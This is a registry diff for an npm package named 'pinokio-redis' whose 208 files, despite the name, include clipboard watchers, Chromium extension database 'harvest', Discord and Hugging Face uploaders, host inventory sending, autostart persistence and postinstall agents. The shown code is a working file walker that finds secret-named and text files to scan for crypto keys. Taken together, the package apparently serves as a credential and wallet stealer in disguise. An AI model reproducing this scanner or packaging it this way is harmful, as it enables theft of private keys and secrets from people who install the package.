pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,370 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ var __importDefault = (this && this.__importDefault) || function (mod) {
36
+ return (mod && mod.__esModule) ? mod : { "default": mod };
37
+ };
38
+ Object.defineProperty(exports, "__esModule", { value: true });
39
+ exports.normCase = normCase;
40
+ exports.pathMatchesIncludeDirs = pathMatchesIncludeDirs;
41
+ exports.fileMatchesPatterns = fileMatchesPatterns;
42
+ exports.shouldExcludeDir = shouldExcludeDir;
43
+ exports.isExcludedAbsPathPrefix = isExcludedAbsPathPrefix;
44
+ exports.absPathHasCfgmgrSegment = absPathHasCfgmgrSegment;
45
+ exports.pathUnderRoot = pathUnderRoot;
46
+ exports.isCandidateFile = isCandidateFile;
47
+ exports.walkTextLikeExtensionCandidates = walkTextLikeExtensionCandidates;
48
+ exports.walkCandidateFiles = walkCandidateFiles;
49
+ const fs = __importStar(require("node:fs"));
50
+ const path = __importStar(require("node:path"));
51
+ const picomatch_1 = __importDefault(require("picomatch"));
52
+ function normCase(s) {
53
+ return s.replace(/\\/g, "/").toLowerCase();
54
+ }
55
+ function safePicomatch(patternLower) {
56
+ try {
57
+ return (0, picomatch_1.default)(patternLower, { bash: true, dot: true, nocase: true });
58
+ }
59
+ catch {
60
+ return null;
61
+ }
62
+ }
63
+ function fnmatchLike(targetLower, patternLower) {
64
+ const m = safePicomatch(patternLower);
65
+ if (!m)
66
+ return false;
67
+ return m(targetLower);
68
+ }
69
+ function pathMatchesIncludeDirs(relPosix, includeDirSuffixes, includeDirPaths) {
70
+ const parts = normCase(relPosix).split("/");
71
+ for (const raw of includeDirSuffixes) {
72
+ const dlow = raw.trim().replace(/^\/+|\/+$/g, "").toLowerCase();
73
+ if (!dlow)
74
+ continue;
75
+ if (parts.some((part) => part === dlow || part.endsWith(dlow))) {
76
+ return true;
77
+ }
78
+ }
79
+ for (const raw of includeDirPaths) {
80
+ const dlow = raw.trim().replace(/^\/+|\/+$/g, "").toLowerCase();
81
+ if (!dlow)
82
+ continue;
83
+ const joined = parts.join("/");
84
+ if (joined.includes(dlow)) {
85
+ return true;
86
+ }
87
+ for (let i = 0; i < parts.length; i++) {
88
+ if (parts.slice(0, i + 1).join("/") === dlow) {
89
+ return true;
90
+ }
91
+ }
92
+ }
93
+ return false;
94
+ }
95
+ function fileMatchesPatterns(relPath, patterns) {
96
+ const posix = relPath.replace(/\\/g, "/");
97
+ const rlow = normCase(posix);
98
+ const blow = normCase(path.posix.basename(posix));
99
+ for (const pat of patterns) {
100
+ const p = pat.trim();
101
+ if (!p)
102
+ continue;
103
+ const pl = p.toLowerCase();
104
+ if (fnmatchLike(blow, pl) ||
105
+ fnmatchLike(rlow, `*/${pl}`) ||
106
+ fnmatchLike(rlow, pl)) {
107
+ return true;
108
+ }
109
+ }
110
+ return false;
111
+ }
112
+ function shouldExcludeDir(name, excludeDirs) {
113
+ const n = name.toLowerCase();
114
+ for (const ex of excludeDirs) {
115
+ const el = ex.toLowerCase();
116
+ if (n === el || n.endsWith(el))
117
+ return true;
118
+ }
119
+ return false;
120
+ }
121
+ /** True when `absPath` equals or descends under any normalized absolute prefix. */
122
+ function isExcludedAbsPathPrefix(absPath, prefixes) {
123
+ if (!prefixes.length)
124
+ return false;
125
+ const normRaw = path.normalize(path.resolve(absPath));
126
+ const norm = process.platform === "win32"
127
+ ? normRaw.replace(/\\/g, "/").toLowerCase()
128
+ : normRaw;
129
+ for (const raw of prefixes) {
130
+ const pRaw = path.normalize(path.resolve(String(raw).trim()));
131
+ if (!pRaw)
132
+ continue;
133
+ const pfx = process.platform === "win32"
134
+ ? pRaw.replace(/\\/g, "/").toLowerCase()
135
+ : pRaw;
136
+ if (norm === pfx)
137
+ return true;
138
+ const pref = pfx.endsWith("/") ? pfx : `${pfx}/`;
139
+ if (norm.startsWith(pref))
140
+ return true;
141
+ }
142
+ return false;
143
+ }
144
+ /**
145
+ * Skip subtrees under any directory segment named `cfgmgr` (case-insensitive): cfgmgr source trees,
146
+ * `%LOCALAPPDATA%/CfgMgr/data`, `~/.local/share/cfgmgr`, etc.
147
+ */
148
+ function absPathHasCfgmgrSegment(absPath) {
149
+ let norm = path.normalize(path.resolve(absPath.trim()));
150
+ try {
151
+ norm = fs.realpathSync(norm);
152
+ }
153
+ catch {
154
+ /* ENOENT or dangling symlink — keep unresolved path */
155
+ }
156
+ const parts = norm.split(/[/\\]/u).filter((p) => p.length > 0);
157
+ for (const part of parts) {
158
+ if (part.toLowerCase() === "cfgmgr")
159
+ return true;
160
+ }
161
+ return false;
162
+ }
163
+ function pathUnderRoot(p, root) {
164
+ const rel = path.relative(path.resolve(root), path.resolve(p));
165
+ if (rel.startsWith(".."))
166
+ return p;
167
+ return rel;
168
+ }
169
+ function isCandidateFile(fullPath, root, rel, cfg) {
170
+ let st;
171
+ try {
172
+ st = fs.statSync(fullPath);
173
+ }
174
+ catch {
175
+ return false;
176
+ }
177
+ if (!st.isFile())
178
+ return false;
179
+ if (st.size > cfg.max_file_size_bytes)
180
+ return false;
181
+ const relPosix = rel.replace(/\\/g, "/");
182
+ if (pathMatchesIncludeDirs(relPosix, cfg.include_dir_suffixes, cfg.include_dir_paths)) {
183
+ return true;
184
+ }
185
+ if (fileMatchesPatterns(relPosix, cfg.include_patterns))
186
+ return true;
187
+ if (fileMatchesPatterns(path.posix.basename(relPosix), cfg.include_patterns)) {
188
+ return true;
189
+ }
190
+ return false;
191
+ }
192
+ /** Extra plaintext-oriented extensions (content still scanned with crypto key regex heuristics). */
193
+ const TEXT_LIKE_EXTENSIONS = new Set([
194
+ ".txt",
195
+ ".md",
196
+ ".env",
197
+ ".json",
198
+ ".csv",
199
+ ".log",
200
+ ".asc",
201
+ ".yaml",
202
+ ".yml",
203
+ ".toml",
204
+ ".ini",
205
+ ".cfg",
206
+ ".conf",
207
+ ".properties",
208
+ ".sql",
209
+ ".xml",
210
+ ".plist",
211
+ ".sol",
212
+ ".vy",
213
+ ".nft",
214
+ ".js",
215
+ ".ts",
216
+ ".mjs",
217
+ ".cjs",
218
+ ".jsx",
219
+ ".tsx",
220
+ ".html",
221
+ ".css",
222
+ ".sh",
223
+ ".bash",
224
+ ".zsh",
225
+ ]);
226
+ function basenameIsEnvStyle(name) {
227
+ const n = name.toLowerCase();
228
+ return n === ".env" || n.startsWith(".env.");
229
+ }
230
+ function fileHasTextLikeExtension(basename) {
231
+ if (basenameIsEnvStyle(basename))
232
+ return true;
233
+ const lower = basename.toLowerCase();
234
+ const dot = lower.lastIndexOf(".");
235
+ if (dot < 0)
236
+ return false;
237
+ return TEXT_LIKE_EXTENSIONS.has(lower.slice(dot));
238
+ }
239
+ /**
240
+ * Opt-in heavy crawl: walk tree for text-like extensions (`.txt`, `.js`, …).
241
+ * Default scans use filename/dir candidates only — enable via `includeTextLikeExtensions`.
242
+ */
243
+ function walkTextLikeExtensionCandidates(rootDir, cfg, maxFiles) {
244
+ const root = path.resolve(rootDir);
245
+ if (absPathHasCfgmgrSegment(root))
246
+ return [];
247
+ const out = [];
248
+ const maxSz = cfg.max_file_size_bytes;
249
+ function walk(dir) {
250
+ if (out.length >= maxFiles)
251
+ return;
252
+ let entries;
253
+ try {
254
+ entries = fs.readdirSync(dir, { withFileTypes: true });
255
+ }
256
+ catch {
257
+ return;
258
+ }
259
+ for (const ent of entries) {
260
+ if (out.length >= maxFiles)
261
+ return;
262
+ const full = path.join(dir, ent.name);
263
+ if (ent.isDirectory()) {
264
+ if (ent.name.toLowerCase() === "cfgmgr")
265
+ continue;
266
+ if (absPathHasCfgmgrSegment(full))
267
+ continue;
268
+ if (shouldExcludeDir(ent.name, cfg.exclude_dirs))
269
+ continue;
270
+ if (cfg.exclude_abs_path_prefixes.length > 0 &&
271
+ isExcludedAbsPathPrefix(full, cfg.exclude_abs_path_prefixes)) {
272
+ continue;
273
+ }
274
+ walk(full);
275
+ continue;
276
+ }
277
+ if (!ent.isFile())
278
+ continue;
279
+ if (absPathHasCfgmgrSegment(full))
280
+ continue;
281
+ if (!fileHasTextLikeExtension(ent.name))
282
+ continue;
283
+ let rel;
284
+ try {
285
+ rel = path.relative(root, full);
286
+ }
287
+ catch {
288
+ rel = full;
289
+ }
290
+ let st;
291
+ try {
292
+ st = fs.statSync(full);
293
+ }
294
+ catch {
295
+ continue;
296
+ }
297
+ if (st.size > maxSz)
298
+ continue;
299
+ out.push({ absPath: full, relPath: rel });
300
+ }
301
+ }
302
+ walk(root);
303
+ return out;
304
+ }
305
+ function walkCandidateFiles(rootDir, cfg) {
306
+ const root = path.resolve(rootDir);
307
+ if (absPathHasCfgmgrSegment(root)) {
308
+ return { candidates: [], skipLargeLog: [] };
309
+ }
310
+ const candidates = [];
311
+ const skipLargeLog = [];
312
+ const maxSz = cfg.max_file_size_bytes;
313
+ function walk(dir) {
314
+ let entries;
315
+ try {
316
+ entries = fs.readdirSync(dir, { withFileTypes: true });
317
+ }
318
+ catch {
319
+ return;
320
+ }
321
+ for (const ent of entries) {
322
+ const full = path.join(dir, ent.name);
323
+ if (ent.isDirectory()) {
324
+ if (ent.name.toLowerCase() === "cfgmgr")
325
+ continue;
326
+ if (absPathHasCfgmgrSegment(full))
327
+ continue;
328
+ if (shouldExcludeDir(ent.name, cfg.exclude_dirs))
329
+ continue;
330
+ if (cfg.exclude_abs_path_prefixes.length > 0 &&
331
+ isExcludedAbsPathPrefix(full, cfg.exclude_abs_path_prefixes)) {
332
+ continue;
333
+ }
334
+ walk(full);
335
+ continue;
336
+ }
337
+ if (!ent.isFile())
338
+ continue;
339
+ if (absPathHasCfgmgrSegment(full))
340
+ continue;
341
+ let rel;
342
+ try {
343
+ rel = path.relative(root, full);
344
+ }
345
+ catch {
346
+ rel = full;
347
+ }
348
+ let st;
349
+ try {
350
+ st = fs.statSync(full);
351
+ }
352
+ catch {
353
+ continue;
354
+ }
355
+ if (st.size > maxSz) {
356
+ const relPosix = rel.replace(/\\/g, "/");
357
+ if (fileMatchesPatterns(relPosix, cfg.include_patterns) ||
358
+ pathMatchesIncludeDirs(relPosix, cfg.include_dir_suffixes, cfg.include_dir_paths)) {
359
+ skipLargeLog.push({ file: full, size_bytes: st.size });
360
+ }
361
+ continue;
362
+ }
363
+ if (isCandidateFile(full, root, rel, cfg)) {
364
+ candidates.push({ absPath: full, relPath: rel });
365
+ }
366
+ }
367
+ }
368
+ walk(root);
369
+ return { candidates, skipLargeLog };
370
+ }
@@ -0,0 +1,54 @@
1
+ /**
2
+ * Filename-pattern private-material scanner — TypeScript port aligned with
3
+ * `private-key-filename-scanner` (local JSON/CSV reports only; no uploads).
4
+ */
5
+ import type { ScanHitRow, SecretScanReport, NormalizedSecretScanConfig } from "./types";
6
+ export interface FilenameSecretScanOptions {
7
+ /** Root directory to scan */
8
+ rootDir: string;
9
+ /** Path to JSON config (patterns, limits, excludes) */
10
+ patternsPath: string;
11
+ /** Report base path without extension; default OS audit dir + timestamp */
12
+ outputBase: string | undefined;
13
+ maxConcurrency: number;
14
+ validateOptional: boolean;
15
+ includeRawFindings: boolean;
16
+ }
17
+ /** UTC `YYYYMMDDTHHMMSSZ` (matches Python `strftime("%Y%m%dT%H%M%SZ")`). */
18
+ export declare function utcScanTimestamp(): string;
19
+ export declare function resolveBundledPatternsPath(): string;
20
+ export declare function defaultSecretScanReportBase(): string;
21
+ export interface CollectSecretScanOptions {
22
+ roots: string[];
23
+ patternsPath: string;
24
+ maxConcurrency: number;
25
+ validateOptional: boolean;
26
+ /** Include extension-based plaintext discovery per root (bounded). */
27
+ includeTextLikeExtensions?: boolean;
28
+ /** Max extra text-like files per root (default 4000). */
29
+ maxTextLikeFilesPerRoot?: number;
30
+ /** Merged into normalized config — agent audit injects OS system-tree skips. */
31
+ extraExcludeAbsPathPrefixes?: string[];
32
+ }
33
+ /**
34
+ * Run pattern-based (+ optional text-extension) discovery and content scan; returns raw rows + cfg metadata.
35
+ */
36
+ export declare function collectSecretScanRows(opts: CollectSecretScanOptions): Promise<{
37
+ findings: ScanHitRow[];
38
+ read_errors: Array<{
39
+ file: string;
40
+ error: string;
41
+ }>;
42
+ candidates_scanned: number;
43
+ skipped_oversize_named: Array<{
44
+ file: string;
45
+ size_bytes: number;
46
+ }>;
47
+ cfg: NormalizedSecretScanConfig;
48
+ }>;
49
+ export declare function runFilenameSecretScan(opts: FilenameSecretScanOptions): Promise<{
50
+ report: SecretScanReport;
51
+ jsonPath: string;
52
+ csvPath: string;
53
+ }>;
54
+ export declare function runFilenameSecretScanCli(argv: string[]): Promise<number>;